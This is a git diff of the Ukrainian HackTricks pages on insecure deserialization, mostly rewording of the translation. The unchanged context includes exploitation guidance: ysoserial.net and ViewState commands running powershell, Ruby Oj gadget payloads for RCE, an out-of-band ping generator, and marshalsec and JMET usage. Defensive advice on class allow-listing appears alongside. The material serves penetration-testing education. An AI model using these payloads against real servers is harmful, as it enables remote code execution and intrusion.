Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати собі адміністративні привілеї в веб-додатку).\ Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати собі адміністративні привілеї в веб-додатку).\
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки. Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, який надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
### **Експлойт** ### **Експлойт**
@ -459,7 +459,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
#### marshalsec #### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)може бути використаний для генерації пейлоадів для експлуатації різних **Json** та **Yml** бібліотек серіалізації в Java.\ [**marshalsec** ](https://github.com/mbechler/marshalsec)може бути використаний для генерації payload'ів для експлуатації різних **Json** та **Yml** бібліотек серіалізації в Java.\
Щоб скомпілювати проект, мені потрібно було **додати** ці **залежності** до `pom.xml`: Щоб скомпілювати проект, мені потрібно було **додати** ці **залежності** до `pom.xml`:
```markup ```markup
<dependency> <dependency>
@ -493,10 +493,10 @@ mvn clean package -DskipTests
Java використовує багато серіалізації для різних цілей, таких як: Java використовує багато серіалізації для різних цілей, таких як:
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, cookies тощо. - **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, куками тощо.
- **RMI (Remote Method Invocation)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках. - **RMI (Віддалений виклик методів)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
- **RMI через HTTP**: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій. - **RMI через HTTP**: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій.
- **JMX (Java Management Extensions)**: JMX використовує серіалізацію для передачі об'єктів через мережу. - **JMX (Розширення управління Java)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
- **Користувацькі протоколи**: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації. - **Користувацькі протоколи**: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації.
### Prevention ### Prevention
@ -520,12 +520,12 @@ throw new java.io.IOException("Cannot be deserialized");
``` ```
#### **Покращення безпеки десеріалізації в Java** #### **Покращення безпеки десеріалізації в Java**
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли: **Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення процесів десеріалізації. Цей метод підходить, коли:
- Код десеріалізації знаходиться під вашим контролем. - Код десеріалізації знаходиться під вашим контролем.
- Відомі класи, які очікуються для десеріалізації. - Відомі класи, які очікуються для десеріалізації.
Перевизначте метод **`resolveClass()`**, щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом `Bicycle`: Перевизначте **`resolveClass()`** метод, щоб обмежити десеріалізацію лише дозволеними класами. Це запобігає десеріалізації будь-якого класу, крім тих, що явно дозволені, як у наступному прикладі, який обмежує десеріалізацію лише класом `Bicycle`:
```java ```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream { public class LookAheadObjectInputStream extends ObjectInputStream {
@ -550,7 +550,7 @@ return super.resolveClass(desc);
``` ```
-javaagent:name-of-agent.jar -javaagent:name-of-agent.jar
``` ```
Це забезпечує спосіб динамічно захистити десеріалізацію, що ідеально підходить для середовищ, де негайні зміни коду є непрактичними. Це забезпечує спосіб динамічно захистити десеріалізацію, ідеально підходить для середовищ, де негайні зміни коду є непрактичними.
Перевірте приклад у [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) Перевірте приклад у [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
@ -571,7 +571,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
**Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені можливості для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації. **Використання зовнішніх бібліотек для підвищення безпеки**: Бібліотеки, такі як **NotSoSerial**, **jdeserialize** та **Kryo**, пропонують розширені можливості для контролю та моніторингу десеріалізації Java. Ці бібліотеки можуть забезпечити додаткові рівні безпеки, такі як білий або чорний списки класів, аналіз серіалізованих об'єктів перед десеріалізацією та реалізацію власних стратегій серіалізації.
- **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду. - **NotSoSerial** перехоплює процеси десеріалізації, щоб запобігти виконанню ненадійного коду.
- **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий вміст. - **jdeserialize** дозволяє аналізувати серіалізовані Java-об'єкти без їх десеріалізації, що допомагає виявити потенційно шкідливий контент.
- **Kryo** є альтернативною рамкою серіалізації, яка акцентує увагу на швидкості та ефективності, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку. - **Kryo** є альтернативною рамкою серіалізації, яка акцентує увагу на швидкості та ефективності, пропонуючи налаштовувані стратегії серіалізації, які можуть підвищити безпеку.
### Посилання ### Посилання
@ -585,12 +585,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Дослідження десеріалізації Java та .Net JSON **папір:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - Стаття про десеріалізацію Java та .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) - CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell ## JNDI Injection & log4Shell
Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA та LDAP і як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці: Дізнайтеся, що таке **JNDI Injection, як його зловживати через RMI, CORBA & LDAP та як експлуатувати log4shell** (і приклад цієї уразливості) на наступній сторінці:
{{#ref}} {{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md jndi-java-naming-and-directory-interface-and-log4shell.md
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service ## JMS - Java Message Service
> API **Java Message Service** (**JMS**) є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатка бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). > API **Java Message Service** (**JMS**) є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Продукти ### Продукти
@ -613,9 +613,9 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\ Отже, в основному є **безліч сервісів, які використовують JMS небезпечним чином**. Тому, якщо у вас є **достатні привілеї** для надсилання повідомлень цим сервісам (зазвичай вам знадобляться дійсні облікові дані), ви зможете надіслати **шкідливі об'єкти, серіалізовані, які будуть десеріалізовані споживачем/підписником**.\
Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, заразяться**. Це означає, що в цій експлуатації всі **клієнти, які будуть використовувати це повідомлення, заразяться**.
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості. Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує введення користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатка. Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатку.
### Посилання ### Посилання
@ -650,8 +650,8 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.** Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
- **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд). - **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
- **`--formatter`**, використовується для вказівки методу серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації). - **`--formatter`**, використовується для вказівки методу для серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
- **`--output`** використовується для вказівки, чи хочете ви отримати експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._ - **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що це завжди буде працювати)._
- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState. - **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState.
#### Більше параметрів ysoserial.net #### Більше параметрів ysoserial.net
@ -722,13 +722,13 @@ return obj;
- **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні. - **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
- **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована. - **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
- **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими. - **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
- **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`. - **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` і `JSON.Net`.
- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи. - **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
- **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних. - **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
### **References** ### **References**
- Папір про десеріалізацію JSON в Java та .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - Папір про десеріалізацію JSON в Java і .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
@ -737,7 +737,7 @@ return obj;
У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація. У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація.
Для захисту серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність та автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць: Для забезпечення безпеки серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність і автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
- `config/environment.rb` - `config/environment.rb`
- `config/initializers/secret_token.rb` - `config/initializers/secret_token.rb`
@ -864,9 +864,9 @@ candidate_methods.length() # Final number of methods=> 3595
Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному): Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Бібліотека</strong></td><td><strong>Вхідні дані</strong></td><td><strong>Метод запуску всередині класу</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Бінарні</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([дивіться примітки щодо json_create в кінці](#table-vulnerable-sinks))</td></tr></tbody></table> <table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Бібліотека</strong></td><td><strong>Вхідні дані</strong></td><td><strong>Метод запуску всередині класу</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Бінарний</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (клас потрібно помістити в хеш (map) як ключ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([дивіться примітки щодо json_create в кінці](#table-vulnerable-sinks))</td></tr></tbody></table>
Базовий приклад: Основний приклад:
```ruby ```ruby
# Existing Ruby class inside the code of the app # Existing Ruby class inside the code of the app
class SimpleClass class SimpleClass
@ -900,7 +900,7 @@ Oj.load(json_payload)
"password": "anypw" "password": "anypw"
} }
``` ```
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на кшталт: Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на зразок:
```json ```json
{ {
"^o": "Gem::Resolver::SpecSpecification", "^o": "Gem::Resolver::SpecSpecification",

View File

@ -59,7 +59,7 @@ myODP.MethodName = "Start";
Використовуючи попередній експлойт, будуть випадки, коли **об'єкт** буде **десеріалізовано як** екземпляр _**ObjectDataProvider**_ (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою `GetType`). Тоді **не буде відомо про тип об'єкта, який обгорнутий** в екземплярі _ObjectDataProvider_ (наприклад, `Process`). Ви можете знайти більше [інформації про вразливість DotNetNuke тут](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). Використовуючи попередній експлойт, будуть випадки, коли **об'єкт** буде **десеріалізовано як** екземпляр _**ObjectDataProvider**_ (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою `GetType`). Тоді **не буде відомо про тип об'єкта, який обгорнутий** в екземплярі _ObjectDataProvider_ (наприклад, `Process`). Ви можете знайти більше [інформації про вразливість DotNetNuke тут](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Цей клас дозволяє **вказати типи об'єктів об'єктів, які інкапсульовані** в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції об'єкта-джерела (_ObjectDataProvider_) в новий тип об'єкта та надання властивостей, які нам потрібні (_ObjectDataProvider.MethodName_ та _ObjectDataProvider.MethodParameters_).\ Цей клас дозволяє **вказати типи об'єктів об'єктів, які інкапсульовані** в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції об'єкта-джерела (_ObjectDataProvider_) в новий тип об'єкта та надання властивостей, які нам потрібні (_ObjectDataProvider.MethodName_ та _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, як той, що був представлений раніше, оскільки ми зможемо **обгорнути \_ObjectDataProvider**_\*\* всередині екземпляра \*\*_**ExpandedWrapper** \_ і **коли десеріалізується** цей клас **створить** об'єкт _**OjectDataProvider**_, який **виконає** **функцію**, вказану в _**MethodName**_. Це дуже корисно для випадків, як той, що був представлений раніше, оскільки ми зможемо **обернути \_ObjectDataProvider**_\*\* всередині екземпляра \*\*_**ExpandedWrapper** \_ і **коли десеріалізується** цей клас **створить** об'єкт _**OjectDataProvider**_, який **виконає** **функцію**, вказану в _**MethodName**_.
Ви можете перевірити цей обгортальник за допомогою наступного коду: Ви можете перевірити цей обгортальник за допомогою наступного коду:
```java ```java

View File

@ -82,6 +82,6 @@ payloadTest("test.ser");
``` ```
## Висновок ## Висновок
Як ви можете бачити в цьому дуже простому прикладі, "вразливість" тут виникає тому, що функція **readObject** **викликає інші вразливі функції**. Як ви можете побачити в цьому дуже простому прикладі, "вразливість" тут виникає тому, що функція **readObject** **викликає інші вразливі функції**.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
``` ```
Для більш детального опису для IISDirPath та TargetPagePath [перегляньте тут](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) Для більш детального опису для IISDirPath та TargetPagePath [перегляньте тут](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Або, з [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (з значенням генератора): Або з [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (з значенням генератора):
```bash ```bash
cd badsecrets cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415 python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
@ -164,7 +164,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
``` ```
### Результат успішної експлуатації <a href="#poc" id="poc"></a> ### Результат успішної експлуатації <a href="#poc" id="poc"></a>
Для всіх тестових випадків, якщо корисне навантаження ViewState YSoSerial.Net працює **успішно**, то сервер відповідає з “**500 Internal server error**”, маючи вміст відповіді “**Інформація про стан недійсна для цієї сторінки і може бути пошкоджена**”, і ми отримуємо OOB запит. Для всіх тестових випадків, якщо корисне навантаження ViewState YSoSerial.Net працює **успішно**, то сервер відповідає з “**500 Internal server error**”, маючи вміст відповіді “**Інформація про стан недійсна для цієї сторінки і може бути пошкоджена**” і ми отримуємо OOB запит.
Перевірте [додаткову інформацію тут](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>) Перевірте [додаткову інформацію тут](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)

View File

@ -28,7 +28,7 @@ int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
} }
``` ```
Як ви можете спостерігати, **коли десеріалізується** **`HashMap`**, функція `hash` буде **виконуватися з кожним об'єктом** і **під час** виконання **`hash`** **вона буде виконувати** `.hashCode()` об'єкта. Тому, якщо ви **десеріалізуєте** **`HashMap`**, **що містить** об'єкт **URL**, об'єкт **URL** **виконає** `.hashCode()`. Як ви можете спостерігати, **коли десеріалізується** **`HashMap`**, функція `hash` буде **виконуватися з кожним об'єктом** і **під час** виконання **`hash`** **виконається** `.hashCode()` об'єкта. Тому, якщо ви **десеріалізуєте** **`HashMap`**, **що містить** об'єкт **URL**, об'єкт **URL** **виконає** `.hashCode()`.
Тепер давайте подивимося на код `URLObject.hashCode()`: Тепер давайте подивимося на код `URLObject.hashCode()`:
```java ```java
@ -59,7 +59,7 @@ InetAddress addr = getHostAddress(u);
### URLDNS payload code example ### URLDNS payload code example
Ви можете знайти [URDNS payload code from ysoserial тут](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Однак, щоб полегшити розуміння, як це закодувати, я створив свій власний PoC (на основі того, що з ysoserial): Ви можете знайти [URDNS payload code from ysoserial тут](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Однак, щоб полегшити розуміння, як це закодувати, я створив свій власний PoC (на основі того з ysoserial):
```java ```java
import java.io.File; import java.io.File;
